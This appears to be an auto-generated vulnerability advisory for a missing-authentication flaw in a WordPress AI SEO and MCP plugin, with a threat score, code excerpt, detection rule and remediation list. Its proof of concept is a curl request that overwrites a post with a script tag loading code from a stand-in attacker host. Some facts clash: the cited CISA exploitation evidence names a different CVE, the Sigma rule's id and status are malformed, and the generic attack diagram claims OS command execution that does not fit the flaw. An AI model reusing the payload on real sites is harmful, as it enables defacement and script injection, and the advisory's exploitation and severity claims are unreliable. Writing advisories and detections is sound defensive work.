CVE-2026-84779: WordPress Agentimus MCP Endpoint Broken Access Control

HERMES

HERMES THREAT SCORE & AGENTIC INFRASTRUCTURE ASSESSMENT

Target: Agentimus AI SEO & MCP Plugin (agentimus.endpoints.mcp (REST API & MCP Endpoint Handler))

Confidence: 98%

93 / 100

CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown

Exploitability 19 / 20

Threat Activity 18 / 20

Weaponization 18 / 20

Exposure 18 / 20

Prevalence 17 / 20

Impact 19 / 20

Exploit Maturity 18 / 20

Attack Chain Potential 18 / 20

⚖️ Divergence & Operational Rationale

CVSS v3.1 rates this at 9.1 (Critical). Hermes Threat Score assigns 93 (CRITICAL). This flaw leaves WordPress installations exposed to remote content defacement, SEO poisoning, and administrative account takeover by unauthenticated attackers sending MCP JSON-RPC calls.

🕸️ Connected Knowledge Graph & Provenance

CVE-2026-84779: WordPress Agentimus MCP Endpoint Broken Access ControlVULNERABILITY

Connected Nodes: 1

Active Relationships (Outgoing)

→ affectsPRODUCTAgentimus AI SEO & MCP Plugin

98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Agentimus AI SEO & MCP Plugin documented in Hermes dossier.”

Supporting Verified Evidence:

[vulnerability_report]
[government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)

1. Technical Context & Affected Matrix

Parameter	Technical Specification	Threat Context
CVE Identifier	`CVE-2026-84779`	Frontier AI / MCP Threat Landscape
Target Product	`Agentimus AI SEO & MCP Plugin`	`Agentimus`
Subsystem / Component	`agentimus.endpoints.mcp (REST API & MCP Endpoint Handler)`	Autonomous agent tool & orchestration stack
Flaw Type	`CWE-306: Missing Authentication for Critical Function / CWE-862: Missing Authorization`	Execution and integrity violation
Affected Versions	`all versions prior to 1.2.9`	Production deployments
Remediation Release	`1.2.9`	Immediate upgrade required

2. In-Depth Technical Decomposition

Missing Permission Callback Flaw

In the plugin endpoint registration file (includes/class-mcp-router.php):

register_rest_route('agentimus/v1', '/mcp', array(
    'methods'  => 'POST',
    'callback' => array($this, 'handle_mcp_request'),
    'permission_callback' => '__return_true', // Critical vulnerability: completely unauthenticated
));

The handler evaluated MCP tool methods (update_post_content, modify_llms_txt, update_setting) directly against standard WordPress core APIs (wp_update_post, update_option) without checking current_user_can('edit_posts').

+----------------------------------------------------------------------------------------------------+
|                         CVE-2026-84779 ATTACK LIFECYCLE FLOW                                             |
+----------------------------------------------------------------------------------------------------+

   [Adversary / Prompt Injection]
          │
          │ [1] Dispatches payload targeting tool interface or orchestration hook
          ▼
   [Agentimus AI SEO & MCP Plugin]
          │
          ├───► 1. Ingestion via agentimus.endpoints.mcp (REST API & MCP Endpoint Handler)
          │     - Inadequate sanitization or permission callback failure
          │
          ├───► 2. Execution / State Mutation
          │     - Escapes sandbox / bypasses read-only guard / executes OS command
          │
          ▼
   [Impacted Target Infrastructure]
          │
          └───► Unauthorized data exfiltration, system takeover, or persistent code execution
+----------------------------------------------------------------------------------------------------+

3. Proof of Concept & Payload Dissection

# PoC: Defacing a WordPress post via unauthenticated Agentimus MCP endpoint
curl -X POST "https://vulnerable-site.com/wp-json/agentimus/v1/mcp" \
  -H "Content-Type: application/json" \
  -d '{
    "jsonrpc": "2.0",
    "id": 1,
    "method": "tools/call",
    "params": {
      "name": "update_post_content",
      "arguments": {
        "post_id": 1,
        "post_title": "Hacked via Agentimus MCP",
        "post_content": "<script src=\"https://attacker.com/malicious_seo.js\"></script>"
      }
    }
  }'

4. Detection Engineering & Telemetry

Sigma Detection Rule

title: WordPress Agentimus MCP Unauthenticated Tool Call
id: 84779c01-e779-4a1b-8f22-agentimus01
status: high
description: Detects HTTP POST requests targeting the Agentimus MCP endpoint without preceding cookie or bearer authentication headers.
author: Hermes Codex Detection Engineering
date: 2026-09-07
logsource:
  product: webserver
  service: access_log
detection:
  selection:
    cs-method: 'POST'
    cs-uri-stem|contains: '/wp-json/agentimus/v1/mcp'
  condition: selection
level: critical

5. Remediation & Operational Playbook

Apply Software Patches: Upgrade Agentimus AI SEO & MCP Plugin to version(s) 1.2.9 immediately.
Review Autonomous Tool Permissions: Audit MCP tool declarations and ensure strict input validation and sandboxed environments.
Audit Execution Logs: Inspect historical application and audit logs for anomalies, unexpected child processes, or unauthorized network calls.
Enforce Principle of Least Privilege: Ensure underlying service accounts possess minimal permissions on cloud resources and database instances.